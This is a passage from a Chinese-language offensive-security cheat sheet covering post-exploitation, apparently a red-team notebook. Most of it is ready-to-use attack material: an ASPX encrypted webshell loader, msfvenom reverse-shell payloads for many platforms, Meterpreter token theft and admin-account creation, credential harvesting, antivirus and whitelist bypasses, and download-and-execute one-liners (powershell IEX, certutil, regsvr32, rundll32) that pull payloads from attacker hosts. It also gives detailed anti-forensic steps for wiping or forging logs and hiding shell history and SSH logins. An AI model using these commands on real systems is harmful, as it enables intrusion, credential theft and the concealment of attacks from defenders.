<form method="post" enctype="multipart/form-data">Filename:<br /><input type="text" name="filename"><br />Content:<br /><textarea rows="20" cols="80" name="content"><?php fwrite(fopen($_POST['filename'], "w"), $_POST['content']);?>
(c)ASPX
对于aspx来说,此功能可能比较鸡肋,因为aspx写文件需要一定权限。
GET类型
(1)god.aspx内容 (先遣部队)
<%@ Page Language="C#" %><% System.IO.File.WriteAllText(System.AppDomain.CurrentDomain.BaseDirectory+"\\"+Request.QueryString["filename"], Request.QueryString["content"]);%>
(2)写aspx shell
http://host/god.aspx?filename=god.aspx&content=<%@ Page Language="C%23" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] %2B ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
鱼叉攻击
https://www.freebuf.com/articles/web/260391.html 邮件钓鱼入门到入土
https://www.chabug.org/tools/2017.html 邮件钓鱼学习
https://mp.weixin.qq.com/s/DIY-Q4GhCVRm0Cp4r3BPkw 红队技巧-网络钓鱼
权限维持
持久化和提权相关
提权检测脚本
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
linEnum: http://qiniu.safe6.cn/LinEnum.sh
linux-exploit-suggester: https://github.com/HappyTreeFriend/linux-exploit-suggester
Windows提权辅助脚本: https://github.com/pentestmonkey/windows-privesc-check
利用msf提权
利用getsystem
(如果提权成功,进入shell后还是普通用户,就需要进行进程迁移)
getsystem
getgui添加管理员
run getgui -u test$ -p 123456
use incognito(加载incognito扩展)
利用加载incognito后的add_user命令添加管理员
利用incognito盗取令牌
meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
meterpreter >list_tokens -u 列出目标主机用户的可用令牌
meterpreter >list_tokens -g 列出目标主机用户组的可用令牌
meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato
meterpreter >execute -f cmd.exe -i -t #调用域权限shell
meterpreter > getuid
meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户
meterpreter>reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作
meterpreter>setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录)
meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒
meterpreter>drop_token pid #停止假冒当前令牌
利用hashdump(获取系统hash值并破解,前提是system)
利用mimikatz抓密码
利用smart_hashdump
安卓锁屏破解
安卓破解锁屏可以 拿key破解,或者删除key文件(/data/system/password.key)
交互shell获取
很多时候我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端
python3 -c "import pty;pty.spawn('/bin/bash')"
python2 -c 'import pty;pty.spawn("/bin/sh")'
无交互账号添加
chpasswd 方法
useradd newuser;echo "newuser:password"|chpasswd
useradd -p 方法
useradd -p `openssl passwd 123456` guest
useradd -p "$(openssl passwd 123456)" guest
echo -e 方法
useradd newuwer;echo -e "123456\n123456\n" |passwd newuser
Cobalt Strike笔记
argue参数污染
条件:使用adminstrator或system权限
场景:机器上线后,无法执行命令被av拦截。
Use:
argue [command] [fake arguments]
注意:fake arguments应该比真实的要长
例子:
污染powershell,污染完后即可正常执行powershell
argue powershell.exe xsdffsdfwfws
bypass disable_function
参考文章:https://www.anquanke.com/post/id/208451#h2-8
https://www.cnblogs.com/tr1ple/p/11213732.html
常用方法:
1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果
隧道工具
chisel:一款快速稳定的隧道工具 https://www.anquanke.com/post/id/234771
痕迹清理
windows清理
日志清除
windows 日志路径:
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
windows 日志清除方式:
(1)最简单粗暴的方式
开始→运行,输入 eventvwr
进入事件查看器,右边栏选择清除日志。
(2)命令行一键清除Windows事件日志
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
(3)利用脚本停止日志的记录
通过该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。
因此,系统将无法收集日志,同时事件日志服务似乎正在运行。
github项目地址:https://github.com/hlldz/Invoke-Phant0m
(4)Windows单条日志清除
该工具主要用于从Windows事件日志中删除指定的记录。
github项目地址:https://github.com/QAX-A-Team/EventCleaner
(5)Windows日志伪造
使用eventcreate这个命令行工具来伪造日志或者使用自定义的大量垃圾信息覆盖现有日志。
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
IIS日志
IIS默认日志路径:
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
清除WWW日志:
停止服务:net stop w3svc
删除日志目录下所有文件:del *.*
启用服务:net start w3svc
永久擦除技巧
利用Windows自带命令进行安全擦除
(1)Shift+Delete快捷键永久删除
直接删除文件,还是能在回收站找到的,使用Shift+Delete快捷键可以直接永久删除了。但是用数据恢复软件,删除的文件尽快恢复,否则新的文件存入覆盖了原来的文件痕迹就很难恢复了。
(2)Cipher 命令多次覆写
在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。
比如,删除D:\tools
目录下的文件,然后执行这条命令:
cipher /w:D:\tools
这样一来,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。
(3)Format命令覆盖格式化
Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如:
format D: /P:8
这条命令表示把 D 盘用随机数覆盖 8 次。
清除远程桌面连接记录
当通过本机远程连接其他客户端或服务器后,会在本机存留远程桌面连接记录。代码保存为clear.bat
文件,双击运行即可自动化清除远程桌面连接记录。
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp
利用Metasploit 痕迹清除
(1)查看事件日志
meterpreter > run event_manager -i
[*] Retriving Event Log Configuration
Event Logs on System
====================
Name Retention Maximum Size Records
---- --------- ------------ -------
Application Disabled 20971520K 2149
HardwareEvents Disabled 20971520K 0
Internet Explorer Disabled K 0
Key Management Service Disabled 20971520K 0
Security Disabled 20971520K 1726
System Disabled 20971520K 3555
Windows PowerShell Disabled 15728640K 138
(2)清除事件日志(包括六种日志类型)
meterpreter > run event_manager -c
(3)另外,也可以输入clearv命令清除目标系统的事件日志(仅包含三种日志类型)
meterpreter > clearev
[*] Wiping 4 records from Application...
[*] Wiping 8 records from System...
[*] Wiping 7 records from Security...
linux清理
日志清除
/var/log/btmp 记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
第一种方式:清空日志文件
清除登录系统失败的记录:
[root@centos]# echo > /var/log/btmp
[root@centos]# lastb //查询不到登录失败信息
清除登录系统成功的记录:
[root@centos]# echo > /var/log/wtmp
[root@centos]# last //查询不到登录成功的信息
清除相关日志信息:
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
第二种方式:删除/替换部分日志
日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed -i '/自己的ip/'d /var/log/messages
# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure
第三种方式:web日志
直接替换日志ip地址
sed -i 's/192.168.166.85/192.168.1.1/g' access.log
清除部分相关日志
# 使用grep -v来把我们的相关信息删除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log
永久擦除技巧
(1)shred命令
实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。
[root@centos]# shred -f -u -z -v -n 8 1.txt
shred: 1.txt: pass 1/9 (random)...
shred: 1.txt: pass 2/9 (ffffff)...
shred: 1.txt: pass 3/9 (aaaaaa)...
shred: 1.txt: pass 4/9 (random)...
shred: 1.txt: pass 5/9 (000000)...
shred: 1.txt: pass 6/9 (random)...
shred: 1.txt: pass 7/9 (555555)...
shred: 1.txt: pass 8/9 (random)...
shred: 1.txt: pass 9/9 (000000)...
shred: 1.txt: removing
shred: 1.txt: renamed to 00000
shred: 00000: renamed to 0000
shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0
shred: 1.txt: removed
(2)dd命令
可用于安全地清除硬盘或者分区的内容。
dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数
(3)wipe
Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。
wipe filename
(4)Secure-Delete
Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。
srm filenames
fill filename
sswap /dev/sda1
smem
清除history记录
第一种方式:
(1)编辑history记录文件,删除部分不想被保存的历史命令。
vim ~/.bash_history
(2)清除当前用户的history命令记录
history -c
第二种方式:
(1)利用vim特性删除历史命令
#使用vim打开一个文件
vi test.txt
# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0
# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
vsp ~/.bash_history
# 清除保存.bash_history文件即可。
(2)在vim中执行自己不想让别人看到的命令
:set history=0
:!command
第三种方式:
通过修改配置文件/etc/profile,使系统不再保存命令记录。
HISTSIZE=0
第四种方式:
登录后执行下面命令,不记录历史命令(.bash_history)
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T [email protected] /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i
横向移动
-
linux反弹shell后保持会话不断,可以借⽤screen保持会话
-
把反弹shell转为交互式的shell
python -c 'import pty; pty.spawn("/bin/bash")' //⽣成py半交互式shell ctrl+Z stty raw -echo fg resetexport SHELL=bashexport TERM=xterm256-color stty rows 38 columns 116
内网常用命令
- whoami # 查看当前用户
- net user # 查看所有用户
- query user # 查看当前在线用户
- ipconfig /all # 查看当前主机的主机名/IP/DNS等信息
- route print # 查看路由表信息
- netstat -ano # 查看端口开放情况
- arp -a # 查看arp解析情况
- tasklist /svc # 查看进程及对应服务名
- net localgroup administrators # 查看管理员组成员
- systeminfo # 查看系统信息含补丁信息
- net use # 查看ipc连接情况
- net view # 查看匿名共享情况
- netsh firewall show state # 查看防火墙状态
- cmdkey /l # 查看当前保存的登陆凭证
密码搜集
-
netsh wlan show profiles # 查看连接过的wifi名称
-
netsh wlan show profile name="wifi名称" key=clear # 查看wifi的密码
-
dir /a %userprofile%\AppData\Local\Microsoft\Credentials* # 查看RDP连接凭证
-
dir /a /s /b "网站目录*config*" > 1.txt # 数据库配置文件
-
laZagne.exe all -oN # 本地wifi/浏览器等密码
-
dir %APPDATA%\Microsoft\Windows\Recent # 查看最近打开的文档
-
dir /s /a \域控IP\SYSVOL*.xml # 获取域里面所有机子的本地管理员账号密码
-
linux密码快速查找
find / -name *.properties 2>/dev/null | grep WEB-INF find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" find / -regex ".*\.properties\|.*\.conf\|.*\.config" | xargs grep -E "=jdbc:|pass=" find /webapp -regex ".*\.properties" -print 2>/dev/null | xargs grep -E "=jdbc:|rsync" find / -regex ".*\.properties" -print 2>/dev/null find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" find / -regex ".*\.xml\|.*\.properties\|.*\.conf\|.*\.config\|.*\.jsp" | xargs grep -E "setCipherKey"
-
可以使用如下命令寻找包含密码字段的文件:
cd /webfindstr /s /m "password" *.*
-
常用应用的默认配置路径:
Tomcat:CATALINA_HOME/conf/tomcat-users.xml Apache:/etc/httpd/conf/httpd.conf Nginx:/etc/nginx/nginx.conf Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf Mysql:mysql\data\mysql\user.MYD
文件查找
https://www.anquanke.com/post/id/245019
文件查找:
Windows
for /r C: %i in (login.*) do @echo %i
where /R C: login.*
dir /s/a-d/b login.*
Linux
find / -name index.php
updatedb && locate index.php
源码查找
Windows
findstr /s /i /n /d:C:\ /c:"123123" *.txt
其中/d:是指定目录,在windows中一般为指定盘符,/c:则是指定文件内容,最后指定的是文件名字。
(b)Linux
find / -name "index.php" | xargs grep "111222"
连通性
- ping www.baidu.com # ICMP连通性
- nslookup www.baidu.com # DNS连通性
- curl https://www.baidu.com # http连通性
- nc ip port # TCP连通性
域信息收集
常用信息收集
- net config workstation #查看当前登录域
- net user /domain # 获得所有域用户列表
- net view /domain # 查看所有的域
- net view /domain:XXX # 查看该域内所有主机
- net group /domain # 查看所有域用户组列表
- net group "domain computers" /domain # 查看域内所有的主机名
- net group "domain admins" /domain # 查看所有域管理员
- net group "domain controllers" /domain # 查看所有域控制器
- net group "enterprise admins" /domain # 查看所有企业管理员
- nltest /domain_trusts # 获取域信任信息
- net time /domain # 查看当前登录域
- net accounts /domain # 查看域密码策略
- dsquery server # 寻找目录中的域控制器
- netdom query pdc # 查看域控制器主机名
- wmic useraccount get /all #获取域内用户的详细信息
环境信息搜集
- nbtscan.exe xx.xx.xx.xx/24 # 查看c段机器
- csvde.exe -f 1.csv -k # 批量导入/导出AD用户
- setspn.exe -T xx.xx.xx.xx -Q / # 查看当前域内所有spn
内网渗透合集
手把手教你入门内网渗透之一
- 信息搜集+内网提权+隧道搭建
https://www.anquanke.com/post/id/221264
手把手教你入门内网渗透之二
- 内网横向移动
https://www.anquanke.com/post/id/222269
手把手教你入门内网渗透之三
- 持久化控制:后门+免杀
https://www.anquanke.com/post/id/223095
payload生成
windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o
payload.exe
mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho
android:
//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f apk -o payload.apk
powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f elf -o payload.elf
php:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=
<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php
aspx:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx
jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻
击机端口 -f raw -o payload.jsp ```
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war
nodejs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py
perl:
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl
ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb
lua:
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua
windows shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c
linux shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c
payload下载&白名单bypass
参考:
https://xz.aliyun.com/t/5768 渗透测试中弹shell的多种方式及bypass
https://micro8.gitbook.io/micro8/ 大佬经验十年总结
python文件服务器
python2 -m SimpleHTTPServer 8081
python3 -m http.server 8081
如果是单纯的下载payload推荐使用powershell或certutil进行下载,但是记得清理缓存
ftp
下载姿势
echo open 192.168.1.1 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 1.exe >> ftp.txt
ftp -s:ftp.txt
需要搭建ftp服务器,用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则
msf攻击
msf启用监听
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) > set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit
生成payload
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse\_tcp LHOST= 192.168.43.231 LPORT=53 -e x86/shikata\_ga_nai -b '\\\x00\\\x0a\\\xff' -i 3 -f exe -o payload.exe
靶机执行(payload传到靶机上)
echo !C:\\payload.exe > o &&echo quit >> o &Ftp ‐n ‐s:o &&del /F /Q o
ODBCCONF利用dll
ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据
说明:Odbcconf.exe所在路径已被系统添加PATH环境变量中,因此,Odbcconf命令可识
别,需注意x86,x64位的Odbcconf调用。
Windows 2003 默认位置:
C:\WINDOWS\system32\odbcconf.exe
C:\WINDOWS\SysWOW64\odbcconf.exe
Windows 7 默认位置:
C:\Windows\System32\odbcconf.exe
C:\Windows\SysWOW64\odbcconf.exe
msf启用监听
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) > set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit
生成dll
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 92.168.43.231 LPORT=53 -f dll -o payload.dll
靶机执行以下代码(注意payload版本)
odbcconf.exe /a {regsvr C:\\payload.dll}
cmstp利用dll
Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则
cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。
说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需
注意x86,x64位的Cmstp调用。
Windows 2003 默认位置:
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
Windows 7 默认位置:
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
msf启用监听
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) > set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit
准备inf文件,以下是模板
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\payload.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="safe6"
ShortSvcName="safe6"
INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执行的 WebDAV 位置
然后再靶机执行以下命令
cmstp /s safe6.inf
Rundll
Rundll32.exe与Windows操作系统相关联,Rundll32.exe可调用从DLL导出的函数(16位或32位)并将其存储在特定的内存库中。
通过SMB交付Metasploit发起Rundll32攻击
Metasploit包含“ SMB Delivery”模块,该模块生成恶意的dll文件。 该模块通过SMB服务器提供有效负载,并提供控制命令。 当前支持DLL和Powershell。
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
下面通过Rundll32.exe命令获得meterpreter会话。
在受控机器上远程执行恶意dll,你将获得受控计算机的反向shell。
rundll32.exe \\\192.168.1.109\\vabFG\\test.dll,0
获得meterpreter会话如下:
Regsvr32
Regsvr32.exe是一个命令行程序,用于注册和注销OLE控件,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP和Windows更高版本的%systemroot%\ System32文件夹下。
RegSvr32.exe具有以下命令行选项:
语法:Regsvr32 [/s] [/ u] \[/ n] \[/ i [:cmdline\]\]<dllname>
/ u –注销服务器
/ i –调用DllInstall,并为其传递可选的\[cmdline\]; 与/ u一起使用时,它将调用dll进行卸载
/ n –不调用DllRegisterServer;此选项必须与
/ i一起使用
/ s –静音;不显示消息框
通过Metasploit的脚本Web交付启动Regsvr32
此模块可快速启动提供有效负载的Web服务器。提供的命令将允许有效负载下载并执行。它将通过regsvr32.exe来指定脚本语言解释器或“ squibledoo”来绕过应用程序白名单。该模块的主要目的是在目标计算机上快速建立会话。
Regsvr32使用squiblydoo技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够运行.sct文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payloadphp/meterpreter/reverse\_tcp
msf exploit (web_delivery)> set lhost192.168.1.109
msf exploit (web_delivery)>set srvhost192.168.1.109
msf exploit (web_delivery)>exploit
复制下图中突出被框选的代码:
一旦该exploit被执行,您将拥有一个为您创建的URL。在受害者pc的命令提示符中运行该URL,如下所示:
在命令执行后按Enter键,您将拥有您的会话。如下图所示,输入sysinfo命令获取主机信息:
vbs
vbs downloader,使用msxml2.xmlhttp和adodb.stream对象
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.1.1/1.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\1.exe",2
powershell
下载
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
(New-Object Net.WebClient).DownloadString("http://xx.xx.xx.xx /test.ps1")
下载执行
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")
下载bypass
但是可以通过来进行绕过:
但是要注意,如果目标目录为桌面或者system32,360仍然会产生提醒,但是文件仍然会下载下来,且可以正常执行:
echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -
Powercat攻击
PowerCat是一个的powershell写的TCP / IP瑞士军刀,看一看成NCAT的的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,SMB协议支持,中继模式,生成有效载荷,端口扫描等等。
git clone https://github.com/besimorhino/powercat.git
cd powercat
python -m SimpleHTTPServer 80
然后在远程端执行下面的命令获得netcat会话。
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"
正如你观察到的,我们已经获得了目标机器的netcat会话。
批处理文件攻击(powerShell脚本)
同样,PowerShell 允许客户端执行批处理文件,因此让我们使用 msfvenom 生成恶意批处理文件,如下所示,然后启动 netcat 侦听器。
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
然后执行以下命令以获取 netcat 会话。
powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat'))
如下,我们已经获得了目标机器的netcat会话。
利用cscript.exe攻击
同样,PowerShell 允许客户端执行cscript.exe 运行 wsf、js 和vbscript文件。因此,让我们生成具有 msfvenom 的恶意bat文件,如下所示,并作为侦听器启动multi/handler程序。
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs >1.vbs
在目标机器上执行下面的命令行获得meterpreter会话。
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\\"$env:temp\\test.vbs\\");Start-Process %windir%\\system32\\cscript.exe \\"$env:temp\\test.vbs\\""
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
获得meterpreter会话如下:
certutil
Certutil.exe是作为证书服务的一部分安装的命令行程序。
下载姿势
保存在当前路径,文件名称同URL
certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
保存在当前路径,指定保存文件名称
certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.php
隐藏在ADS数据流中:
certutil.exe -urlcache -split -f https://xx.xx.xx.xx/xx c:\\temp:ttt
使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本
命令行删除缓存
certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete
查看缓存项目:
certutil.exe -urlcache *
转为base64
certutil -encode lcx64.exe lcx64.txt
转回来
certutil -decode lcx64.txt lcx64.exe
查看md5
certutil -hashfile a.exe MD5
姿势学习
https://y4er.com/post/certutil-powershell-write-file/ 极限环境Certutil加Powershell配合Burp快速落地文件
bypass
https://mp.weixin.qq.com/s/LGe3SuCGiNMHNbfN6oTApw 记一次渗透测试后引发的小扩展
直接下载会被拦截用&和|也可以顺利绕过并下载
Certutil & Certutil –urlcache –f –split url
Certutil | Certutil –urlcache –f –split url
经过后续的测试发现也可以先执行一次certutil再执行原始的下载语句即可绕过,便可以看到2.exe已经被下载。
其实想想使用的符号&和|,本质都是执行了2次certutil~
msf攻击
通过msfvenom 生成恶意可执行文件,并使用start multi/handler 获取目标计算机反向shell会话。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
再用python生成一个简易的http服务器
现在,为了使用certutil.exe能够获取配置信息和可执行文件,我们需要使用如下语法:
语法:[-f] [-urlcache] [-split]可执行文件路径
certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
这样,我们获得了目标计算机的反向shell。如下所示:
csc
csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe
download.cs
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.1.1/1.exe";
string receivePath = @"C:\test\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\download.exe C:\test\download.cs
Desktopimgdownldr
参考:https://www.anquanke.com/post/id/223232#h2-3 新型下载LOLBIN
用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入
用户如果没有用过CSP,那么路径不存在。
C:\Windows\Personalization
默认图片下载和存放路径:
C:\windows\Personalization\LockScreenImage\LockScreenImage_%random%.jpg
Desktopimgdownldr默认用法:
desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /
eventName:randomname
用法
管理员运行,该文件会设置并覆盖用户锁定的屏幕图像,并生成注册表,我们需要将其注册表删除,避免将其屏幕覆盖
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 && reg delete
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP
/f
注册表路径:
